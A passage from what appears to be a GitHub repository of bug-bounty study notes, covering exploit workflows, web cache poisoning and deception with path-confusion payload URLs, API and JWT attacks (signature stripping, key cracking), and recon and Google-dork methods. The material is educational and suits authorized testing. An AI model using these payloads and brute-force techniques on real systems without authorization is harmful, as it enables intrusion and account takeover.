go around trying to exploit everything as that would be foolish. Once you find some potential targets via fingerprinting you should launch the POC exploit code and wait to see if it worked. 60 | 61 | ### 6.2 Known Exploit / Misconfiguration Workflow 62 | - The basic idea here is to fingerprint your targets assets so you can find known CVEs and misconfigurations impacting their technology stack. 63 |  64 | - For example, if your target is running apache struts then you may want to try launching some throwing some apache struts exploits at the target. 65 | - You need to fingerprint both the targets domains and IPs. Once that is completed you can search for public CVEs with working POCs. You’re not only looking for CVEs, you’re also looking for misconfigurations. CVEs get patched while misconfigurations can happen at any time to anyone. 66 | 67 | ### 6.3 CMS Workflow 68 | - These exploits are generally bundled up as some sort of tool which scans for everything, this makes your life a lot easier as a tester, all you need to know is what tool to run for which CMS. 69 |  70 | 71 | ### 6.4 OWASP Workflow 72 | - If your hunting for XSS, SQLI, IDOR, file upload, or any other vulnerability it will should during this phase. 73 |  74 | 75 | ### 6.5 Brute Force Workflow 76 | - This workflow involves brute forcing exposed admin interfaces, SSH services, FTP, services, and anything else that accepts credentials. 77 |  78 | - Issue with this workflow is that many organizations will consider this type of attack out of scope so make sure to check 79 | 80 | -------------------------------------------------------------------------------- /Notes/Caching Servers.md: -------------------------------------------------------------------------------- 1 | # Caching Servers 2 | ## 1. Web Cache Poisoning 3 | - Web cache poisoning is a technique attackers use to force caching servers to server malicious requests. 4 | - Most commonly this attack is chained with self xss which turns a low impact xss finding into a high impact one since it can be served to any user who visits the cached page. 5 | 6 | Working of Cache Servers 7 | 8 |  9 | 10 | - As you can see in the Image, initially when user requests for a URL for something=ok parameter, the request will be sent to server and the response will be saved to cache. However, for rest of 100 times, if the same URL is requested again - the request will get its response from the cache and there will be no need of pinging the server. 11 | 12 | - Identify the Cache Requests & Response 13 | - A cache key is an index entry that uniquely identifies an object in a cache. 14 | -  15 | - If we look at the above request the cache keys would be: 16 | - GET /embed/v4.js?_=1605995211298 17 | - Play.vidyard.com 18 | -  19 | - As shown above in the HTTP response the “Vary” header says that the X-ThumbnailAB, X-China, accept-language, and Accept-Encoding headers are also used as cache keys. 20 | 21 | 22 | This was all basics, now lets move on to the Web Cache Poisoning Attack: 23 | 24 | - If an attacker can somehow inject malicious content into a http response that is cached the same response will be served to other users who request the same endpoint. 25 |  26 | - The first step is to find unkeyed input. As mentioned earlier cache keys are used by the caching server to determine which requests are the same and which are different. We need to find keys that don't cause the server to think the request is different. (hence, named Unkeyed). 27 | - The second step is to determine the impact the unkeyed input has on the server, can it be used to exploit an open redirect vulnerability, self xss, or some other vulnerability. 28 | - Finally, you need to figure out if the page is cacheable using the unkeyed input, if it is you should be able to exploit other users when they view the cached page. 29 | - You can use "Param Miner" extension in Burp Suite, to facilitate the finding on unkeyed input 30 |  31 | - Now after getting the unkeyed input, work according the results. 32 | - Tips: 33 | - The “Age” header is also another indicator this page is cached. This value contains the seconds the page has been cached for. 34 | - The path is normally used when determining if a page has been cached or not, so adding a random GET parameter to the request should cause the response to be cached. 35 | 36 | 37 | 38 | ## 2. Web Cache Deception 39 | - "An attacker against the caching server" 40 | - With this attack we trick the caching server into caching sensitive information of other users. 41 | - Web cache deception works by sending the victim a URL which will cache the responsefor everyone to see. This exploit is only possible due to path confusion and the fact that some caching servers will cache any request containing a static file such as a png, jpeg, and css. 42 | - One Important thing is: "when a caching server decides to cache a response and when it doesn't " 43 | - Suppose you have the endpoint “setting.php” which returns a user's name,email,address, and phone number. There could be numerous users access setting.php and each response will be different as the response relies on the user currently logged in so it wouldn't make sense to have caching on this page. 44 | 45 |  46 | - On line 15 there is a header called “cache-control” which is set to “no-cache”. This tells the caching server to not cache this page. 47 | - The caching server will cache all static pages no matter what the response headers say. 48 | - So if we were to request example.com/nonexistent.css” the caching server would cache this response regardless of the response headers because it is configured to do so. 49 | - Next let's look at path confusion. Path confusion occurs when an application loads the same resources no matter what the path is. With the rise of large web applications and complicated routing tables path confusion has been introduced. 50 |  51 | - As you can see above there is a catch all path on the root directory. 52 | - Both the “example.com” and example.com/something'' URL would be sent to the same catch_all function. 53 | 54 |  55 | 56 | The above image is from the white paper “Cached and Confused: Web Cache Deception in the Wild” and describes several techniques used to cause path confusion. 57 | 1. Path Parameter : It occurs when additional paths added to the request are passed to the same backend function. 58 | - So “example.com/account.php” is the same as “example.com/account.php/nonexistent.css” in the eyes of the application. However, the caching server sees example.com/account.php/nonexistent.css”. 59 | 60 | 2. Encoded Newline: It tries to take advantage of the fact that some proxies and web servers stop reading after the new line character but the caching server does not. 61 | - So the webserver sees example.com/account.php” but the caching server sitting in front of the website sees example.com/account.php%0Anonexistent.css” so it caches the response because they are different. 62 | 3. Encoded Semicolon : It takes advantage of the fact that some webservers treat semicolons(;) as parameters. However, the caching server may not recognize this value and treat the request as a separate resource. 63 | - The website sees “example.com/account.php” with the parameter “nonexistent.css” but the caching server only sees example.com/account.php%3Bnonexistent.css”. 64 | 4. Encoded Pound : It takes advantage of the fact that web servers often process the pound character as an HTML fragment identifier and stop parsing the URL after that. 65 | - However, the caching server may not recognize this so it sees example.com/account.php%23nonexistent.css” while the server sees example.com/account.php”. 66 | 5. Encoded Question Mark : It takes advantage of the fact that web servers treat question marks(?) as parameters but the caching server treats the response different. So the caching server sees example.com/account.php%3fname=valnonexistent.css” but the web server sees “example.com/account.php”. 67 | 68 | - To test for web cache deception try one of the several path confusing payloads as shown below: 69 | - example.com/nonexistent.css 70 | - example.com/%0Anonexistent.css 71 | - example.com/%3Bnonexistent.css 72 | - example.com/%23nonexistent.css 73 | - example.com/%3fname=valnonexistent.css 74 | 75 | --- 76 | -------------------------------------------------------------------------------- /Notes/API-Testing.md: -------------------------------------------------------------------------------- 1 | # API - Testing 2 | - Most modern day applications are split into two sections, frontend and backend as shown below: 3 |  4 | - The backend is the API and can be written in multiple languages. 5 | - There are several types of APIs and they are each slightly different so before you start API hacking you need to understand a few things. 6 |  7 | ## 1. APIs 8 | ### 1.1 Rest API 9 | - 9 out of 10 times the API used is Rest API. Observe the request captured in burpsuite: 10 |  11 | - First Sign telling the request is REST API is the fact that the request data is a JSON String.(JSON strings are widely used by REST APIs) 12 | - The other sign is that the application is issuing a PUT request. The PUT method is one of several HTTP methods associated with REST APIs. 13 | - Another sign you're dealing with a REST API is when the HTTP response contains a MIME type of JSON as shown in the below Burp requests: 14 |  15 | ### 1.2 RPC - Remote Procedural Call 16 | - oldest form of communication you will see being used by an application dating back to the 1980s. 17 | - This protocol is fairly basic, each HTTP request maps to a particular function. 18 |  19 | - Indicators: 20 | - The first thing is the file name “xmlrpc.php”. XMLRPC uses XML while JSONRPC uses JSON for its encoding type. If this endpoint was an JSONRPC API the data would be contained in a JSON string instead of an XML doc, that's really the only difference between the two RPC APIs. 21 | - In the request body you see two tags called “methodCall” and “methodName” , since RPC requests correspond to function names so this is another hint at this being an RPC API. 22 | (Here we are calling the function “system.listMethods” and passing zero arguments.) 23 | - You know that REST APIs use several HTTP methods such as PUT,POST, and DELETE but RPC APIs only use two, GET and POST methods. 24 | 25 | ### 1.3 SOAP - Simple Object Access Protocol 26 | - You can think of a SOAP API as a more advanced version of XMLRPC. They are both very similar by the fact they both use XML for encoding and HTTP to transfer messages. 27 | - However, SOAP APIs tend to be a little more complex as shown in the below request: 28 |  29 | - the SOAP request is a little more structured and inorder to send a SOAP request you must follow this structure. 30 | - An example of the SOAP format can be found below: 31 |  32 | - The header part is optional and is used to hold values related to authentication, complex types, and other information about the message itself. The body is the part of the XML document which actually contains our message. 33 | - Example: 34 | ```xml 35 | 36 | 37 | 38 | gero et 39 | 40 | 41 | ``` 42 | - As you can see in the above SOAP body we are calling a method named “GetCitiesByCountry” and passing in an argument called “CountryName ” with a string 43 | value of “gero et”. 44 | 45 | ### 1.4 GraphQL API 46 | - GraphQL is a data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. 47 | - Rest API v/s GraphQL: 48 | - Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. 49 | - This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. 50 | - When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances: 51 | - /graphql 52 | - /graphiql 53 | - /graphql.php 54 | - /graphql/console 55 | - Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the [introspection system](https://graphql.org/learn/introspection/) 56 | - Issuing the following requests will show you all the queries that are available on the endpoint. 57 | ``` graphql 58 | example.com/graphql?query=__schema{types{name,fields{name}}}} 59 | ``` 60 |  61 | - Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. 62 | 63 | ## 2. Authentication 64 | If an application requires you to login it must use some form of authentication to verify who you are. Depending on what authentication method an application is using there could be several types of attacks used to compromise the authentication process. Compromising the authentication process will typically lead to account takeover(ATO) 65 | vulnerabilities 66 | ### 2.1 HTTP Basics 67 | - This is probably the most basic and easy to implement type of authentication. As shown in the below image you can identify HTTP Basic Auth by the popup it displays in web browsers. 68 |  69 | - That's one of the biggest downfalls of using HTTP Basic Auth. Each time you send a request your clear text username and password are sent as a base64 encoded authentication header making it very susceptible to eavesdropping attacks. 70 | 71 | ### 2.2 Json Web Token 72 | - extremely popular among API endpoints as they are easy 73 | to implement and understand. 74 |  75 | - a JWT token is made up of three parts separated by dots: 76 | ``` 77 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 78 | ``` 79 | - The token can easily be decoded using a base64 decoder, but I like to use the site [jwt.io](jwt.io) to decode these tokens as shown below. 80 |  81 | - Notice how there are three parts to a JWT token: 82 | - Header : this is where you specify the algorithm used to generate the signature. 83 | - Payload : this is where you specify the information used for access control. In the above example the payload section has a variable called “name”, this name is used to determine who the user is when authenticating 84 | - Signature : this value is used to make sure the token has not been modified or tampered with. The signature is made by concatenating the header and the payload sections then it signs this value with the algorithm specified in the header which in this case is “H256”. 85 | - Without a signature anyone could modify the payload section completely bypassing the authentication process. If you remove the signature from a JWT token and it's still accepted then you have just bypassed the verification process. This means you can modify the payload section to anything you want and it will be accepted by the backend. 86 | - this attack can be done manually or you can use a Burp plugin called “Json Web Token Attacker” as shown in the below image: 87 |  88 | 89 | - Brute Force Secret Key : 90 | - JWT tokens will either use an HMAC or RSA algorithm to verify the signature. 91 | - If the application is using an HMAC algorithm it will use a secret key when generating the signature. If you can guess this secret key you will be able to generate signatures allowing you to forge your own tokens. 92 | - There are several projects that can be used to crack these keys as shown below: 93 | - https://github.com/AresS31/jwtcat 94 | - https://github.com/lmammino/jwt-cracker 95 | - https://github.com/mazen160/jwt-pwn 96 | - https://github.com/brendan-rius/c-jwt-cracker 97 | - RSA to HMAC : 98 | - There are multiple signature methods which can be used to sign a JWT token as shown in the list below: 99 | - RSA: When using RSA the JWT token is signed with a private key and verified with the public key. As you can tell by the name the private key is meant to be private and the public key is meant to be public. 100 | - HMAC: HMAC is a little different, like many other symmetric encryption algorithms HMAC uses the same key for encryption and decryption. 101 | - None: None 102 | 103 | - In the code when you are using RSA and HMAC it will look something like the following: 104 | - verify(“RSA”,key,token) 105 | - verify(“HMAC”,key,token) 106 |  107 | 108 | -------------------------------------------------------------------------------- /Notes/Reconnaissance - Phase2.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 2] 2 | ## 1. Wordlists 3 | Word lists are used to find new subdomains, interesting files, cracking passwords, and much more. 4 | #### 1.1 Sec List 5 | - If you’re looking for a good wordlist this should be the first place you look, chances are they have the wordlist you're looking for. 6 | - https://github.com/danielmiessler/SecLists 7 | - Robots Disallow: The robots.txt disallow directory is used to tell scraping bots such as google to not crawl certain files and file paths, this can be a good indication that they are trying to hide something. 8 | - RAFT: The RAFT wordlists contains a large number of interesting filenames and directories. There are several different versions of this list ranging in size but I generally just go with the largest list. 9 | - Technology Specific: Seclists contains specific wordlists for PHP, Golang, ASP, Apache, IIS, and a bunch more. 10 | #### 1.2 Common Speak 11 | - https://github.com/assetnote/commonspeak2 12 | - https://github.com/assetnote/commonspeak2-wordlists 13 | - Common speak from Assetnote has a unique way of generating wordlists. 14 | #### 1.3 All 15 | - The majority of people use this wordlist for subdomain brute forcing. 16 | - You won’t find a bigger word list than this one. 17 | - https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056 18 | 19 | #### 1.4 CRTSH 20 | - Every https domain is logged in a database somewhere. Internetwache created a tool to scrape this database for subdomains. Every hour Internetwache uses this tool to update his wordlist. 21 | - https://github.com/internetwache/CT_subdomains 22 | 23 | 24 | 25 | ## 2. Subdomain Enumeration 26 | #### 2.1 Certification Transparency Logs 27 | - Any site that starts with HTTPS:// uses SSL certificates to provide a secure connection. If a hacker or rogue certificate authority is able to forge this certificate they would be able to perform man in the middle attacks. 28 | 29 |  30 | - The certificate transparency log is used to monitor and audit unauthorized certificates. Every time you get an SSL certificate for your domain or subdomain it will be logged in certificate transparency logs 31 | - We can find all SSL certificates belonging to a domain by issuing a GET request to https://crt.sh/?q=%25.facebook.com as shown below: 32 | 33 |  34 | - Tools: 35 | - [Crtsh.py](https://github.com/ghostlulzhacks/CertificateTransparencyLogs) 36 | #### 2.2 Search Engine 37 | - Google dorks can be utilized to find subdomains with the following dork: 38 | - Site: 39 | - This dork wil return all the links belonging to a specific domain. 40 |  41 | #### 2.4 Github 42 | - Almost every developer uses GitHub to store their source code. Developers will often hard code private or hidden endpoint points in their source code. 43 | - Tool : [Github-Search](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) by [gwen001](https://github.com/gwen001). 44 | 45 | #### 2.5 Brute Force 46 | - Brute forcing is probably the most popular way to find subdomains. You might think that you send a get requests to a bunch of subdomains and see which ones resolve but that’s wrong. DNS can be used to brute force subdomains without sending packets to your target. All you do is perform a DNS requests against a subdomain if it resolves to an IP then you know it’s live. 47 | - GoBuster: [GoBuster](https://github.com/OJ/gobuster) is a good tool for discovering the directories hosted on a web server as well as a enumerating the Subdomains. 48 | - It is however dependent on how good wordlist are you using for the enumeratoin. 49 | #### 2.6 Subdomain Permutation 50 | - One of the best ways to find hidden assets is through the use of permutations. A permutation is a way a set of words can be rearranged. 51 | - For example, if we have the subdomain test.starbcuks.com and the words dev, stage, and production we could come up with several possible subdomains. We would have dev-test.starbucks.com, dev.test.starbucks.com, production-test.starbucks.com, andso on. 52 | - All this can be done automatically with altdns: 53 | - [Altdns](https://github.com/infosec-au/altdns) 54 | - Using altdns we can pass in a list of found subdomains and a list of words and the tool will output a huge list of permutations. The tool can also resolve eachnewly found subdomain to see if they are live: 55 | ``` 56 | altdns -i found_subdomains.txt -o permutation_output -w words.txt -r -s resolved_output.txt 57 | ``` 58 | 59 | - Other Tools: There are a lot of other techniques and resources that people can use to find subdomains. 60 | - Virus Total 61 | - Netcraft 62 | - DNSdumpster 63 | - Threat crowed 64 | - Shodan 65 | - Cencys 66 | - DNSdb 67 | - Pastebin 68 | 69 | #### 2.7 Tools 70 | 1. Amass: 71 | - https://github.com/OWASP/Amass 72 | - Amass will utilize a bunch of online resources to find subdomains. Most of these are third party vendors which they scrape or utilize their API to pull a listsubdomains. 73 | 2. Knock.py: 74 | - https://github.com/guelfoweb/knock 75 | - it shows the response status and the technology stack. This is very useful for quickly understanding each subdomain. 76 | 77 | 78 | 79 | ## 3. DNS Resolutions 80 | - During the subdomain enumeration process, you should have generated a large list subdomains. In order to start probing these endpoints you need to know which ones are live. 81 | - To do this we can perform a DNS lookup against a domain to see if it contains an A record. 82 | - [Massdns](https://github.com/blechschmidt/massdns): The tool is written in C and requires us to build it before we can use it. 83 | 84 | 85 | 86 | ## 4. Screen Shot 87 | - When you’re dealing with thousands of targets it is much easier to scroll through a bunch of screenshots than visiting each site manually. Just by looking at a screen shot you can determine several things such as its technology, is it old, does it look interesting, is there login functionality, and much more. 88 | - [Eyewitness](https://github.com/FortyNorthSecurity/EyeWitness): It attempts to take a screenshot of each domain in the list that was passed to the tool. Once the tool is finished you can scroll through each of the screen shots to find interesting endpoints. 89 | 90 | 91 | 92 | ## 5. Content Discovery 93 | - Content discovery is a vital process in the reconnaissance phase. Failing to perform this phase properly will result in lots of missed vulnerabilities. The main purpose behind content discovery is to find endpoints on a target domain. 94 | - You are looking for things such as log files, config files, interesting technologies or applications, and anything else that is hosted on the website. 95 |  96 | 97 | #### 5.1 Self Crawl 98 | - One of the best ways to find endpoints on a target is to crawl the application. Crawling a website involves recursively visiting each link and saving each link on a web page recursively. 99 | - Tool: [Crawler](https://github.com/ghostlulzhacks/crawler/tree/master). 100 | 101 | #### 5.2 Wayback Machine Crawl Data 102 | - The Wayback Machine is an archive of the entire internet. Basically, they go to every website and they crawl it while taking screenshots and logging the data to a database. 103 | - interesting filters include: 104 | - .zip 105 | - .config 106 | - /admin/ 107 | - /api/ 108 | - Once you get the data start looking for interesting files and GET parameters that might be vulnerable. 109 | 110 | 111 | #### 5.3 Common Crawl Data 112 | - like the Wayback Machine this data is publicly available and 113 | we can use it to get a list of endpoints on a site passively. 114 | - http://commoncrawl.org/ 115 | - The following script can be used to query the data provided by common crawl: 116 | - https://github.com/ghostlulzhacks/commoncrawl 117 | 118 | #### 5.4 Directory Brute Force 119 | - Depending on your wordlists you can find all kinds of interesting endpoints like backup files, core dumps, config files, and a whole lot more. 120 | - Tool: [GoBuster](https://github.com/OJ/gobuster) 121 | 122 | 123 | 124 | ## 6. Inspecting JS Files 125 | There are interesting things in JavaScript files such as AWS keys, S3 bucket endpoints, API keys, and much more. 126 | 127 | #### 6.1 Link Finder 128 | - Linkfinder is one of the best tools for parsing endpoints from JavaScript files. The tool works by using jsbeautifier with a list of regexes to find URLs. 129 | - [LinkFinder Tool](https://github.com/GerbenJavado/LinkFinder) 130 | #### 6.2 JSearch 131 | - Jssearch is another JavaScript parser except this tool primarily used to find sensitive or interesting strings. 132 | - For instance, developers will sometimes hard code API keys, AWS credentials, and other sensitive information in JavaScript files. This information can easily be parsed out with the use of regexes. 133 | - [JSearch Tool](https://github.com/incogbyte/jsearch) 134 | 135 | 136 | 137 | ## 7. Google Dorks 138 | - A huge list of interesting dorks can be found on the exploit-db 139 | website. 140 | - https://www.exploit-db.com/google-hacking-database 141 | 142 | #### 7.1 Dork Basics 143 | - Dorks work on the vast majority of search engines such as Bing, AOL, and yahoo. Depending on how thorough you want to be you may wish to utilize the results of multiple search engines. 144 | - site: domainName 145 | - “inurl:” and “intitle:” 146 | - https://gbhackers.com/latest-google-dorks-list/ 147 | 148 | #### 7.2 Third Party Vendors 149 | - Organizations utilize sites such as Trello, Pastebin, GitHub, Jira, and more in their daily operations. Using Google dorks, you can find these endpoints and search for sensitive information. 150 | - There have been several instances where I have found credentials stored on a public Trello board. A typical dork when looking for third party vendors looks like: 151 | - site: ThirdPartyVendor CompanyName 152 | 153 | #### 7.3 Content 154 |  155 |  156 |  157 |  158 | 159 | #### Conclusion 160 | Google dorks can be used to find anything and everything about your target.Google dorks have been around for a long time and they don’t seem to be going away anytime soon. There are some people who solely rely on google dorks to find their vulnerabilities. 161 | Exploit-db has a huge list of dorks that can be used to 162 | find sensitive or vulnerable endpoints. Although exploit-db contains many interesting dorks I often find myself searching for third party vendors for interesting information. 163 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |  2 | Bug Hunting 3 | A Collection of Notes, Methodologies, POCs, Tools and everything else related to Bug Hunting. :v: 4 | 5 | 6 | 7 | 8 | 9 | 10 |   11 |  12 | 13 | 14 | 15 | 16 | 17 | :point\_right: A Bug Bounty Program is a deal offered by several Oragnizations & Individuals by which recognition and compensation is provided to individuals for reporting Bugs. 18 | 19 | You can Fork this Repo, I'm continuously adding the content! 20 | 21 | ## Contents 22 | :point\_right: The repo is organized in following manner. You can read the notes: 23 | 1. [Reconnaissance - Phase 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md) 24 | 1. [CIDR Range](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance-%20Phase1.md#1-cidr-range) 25 | 2. [Google Dorking](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#2-google-dorking) 26 | 3. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Reconnaissance-%20Phase1.md#3-tools---amass) 27 | 2. [Reconnaissance - Phase 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md) 28 | 1. [Wordlists](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#1-wordlists) 29 | 2. [Subdomain Enumeration](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#2-subdomain-enumeration) 30 | 1. [Certification Transparency Logs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#21-certification-transparency-logs) 31 | 2. [Search Engine](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#22-search-engine) 32 | 3. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#24-github) 33 | 4. [Brute Force](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#25-brute-force) 34 | 5. [Subdomain Permutation](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#26-subdomain-permutation) 35 | 6. [Tools](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#27-tools) 36 | 3. [DNS Resolutions](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#3-dns-resolutions) 37 | 4. [Screenshot](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#4-screen-shot) 38 | 5. [Content Discovery](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#5-content-discovery) 39 | 6. [Inspecting JS Files](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#6-inspecting-js-files) 40 | 7. [Google Dorks](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#7-google-dorks) 41 | 8. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Reconnaissance%20-%20Phase2.md#conclusion) 42 | 3. [Fingerprinting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md) 43 | 1. [IP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#1-ip) 44 | 2. [Web-Application](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#2-web-applications) 45 | 1. [Wapalyzer](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#22-wappalyzer) 46 | 2. [Firewall](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#23-firewall) 47 | 3. [Conclusion](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Fingerprinting.md#conclusion) 48 | 4. [Exploitation - Part 1](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md) 49 | 1. [Subdomain Takeover](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#1-subdomain-takeover) 50 | 2. [Github](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#2-github) 51 | 3. [Misconfigured Cloud Storage Buckets](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#3-misconfigured-cloud-storage-buckets) 52 | 4. [Elastic Search DB](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#4-elastic-search-db) 53 | 5. [Docker API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#5-docker-api) 54 | 6. [Kuberneter API](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#6-kubernetes-api) 55 | 7. [.git/.svn](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#7-git--svn) 56 | 8. [Google Firebase](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%201.md#8-google-firebase-updated) 57 | 5. [Exploitation - Part 2](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md) 58 | 1. [Exploiting CMS](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#1exploiting-cms) 59 | 2. [Exploiting OWASP](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#2-eploitation-owasp) 60 | 1. [XML Extended Entity (XXE)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#21-xml-external-entity-xxe) 61 | 2. [Cross Site Scripting (XXS)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#22-cross-site-scripting-xss) 62 | 3. [Server-Side Request Forgery (SSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#23-ssrf) 63 | 4. [Cross Side Request Forgery (CSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#24-cross-site-request-forgery-csrf) 64 | 5. [SQL Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#25-sql-injection) 65 | 6. [Command Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#26-command-injection) 66 | 7. [Cross Site Web Socket Hijacking (CSWSH)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#27-cross-site-web-socket-hijacking-cswsh) 67 | 8. [File Upload](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#28-file-upload-updated) 68 | 9. [Directory Traversal](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#29-directory-traversal-updated) 69 | 10. [Open Redirect](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#210-open-redirect-updated) 70 | 11. [Insecure Direct Object Reference ](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Exploitation%20Phase%202.md#211-insecure-direct-object-reference-idor-updated) 71 | 6. [Methodology - Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md) 72 | 1. [Traditional Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#1-traditional-workflow) 73 | 2. [Github Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#2-github-workflow) 74 | 3. [Cloud Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#3-cloud-workflow) 75 | 4. [Google Dork Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#4-google-dork--workflow) 76 | 5. [Leaked Credentials Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#5-leaked-credentials-workflow) 77 | 6. [Exploit Workflow](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Methodology%20-%20Workflows.md#6-exploit-workflows) 78 | 7. [API-Pentesting](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md) 79 | 1. [APIs](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#1-apis) 80 | 2. [Authentication](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/API-Testing.md#2-authentication) 81 | 8. [Caching Servers](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md) 82 | 1. [Web Cache Poisoning](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#1-web-cache-poisoning) 83 | 2. [Web Cache Deception](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Caching%20Servers.md#2-web-cache-deception) 84 | 9. [Miscellaneous](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md) 85 | 1. [On Site Request Forgery (OSRF)](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#1-on-site-request-forgery-osrf) 86 | 2. [Prototype Pollution](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#2-prototype-pollution) 87 | 3. [Client Side Template Injection](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#3-client-side-template-injection) 88 | 4. [XML External Entity](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#4-xml-external-entity-xxe) 89 | 5. [Content Security Policy Bypass](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#5-content-security-policy-bypass) 90 | 6. [Relative Path Overwrite](https://github.com/IamLucif3r/Bug-Hunting/blob/main/Notes/Misc.md#6-relative-path-overwrite-rpo) 91 | 92 | ## Bug-Hunting Platforms 93 | Following are some of the top Bug-Hunting Platforms. You can make your account and start hunting bugs for the programs available. 94 | - [Hackerone](https://www.hackerone.com/) 95 | - [Bugcrowd](https://bugcrowd.com/) 96 | 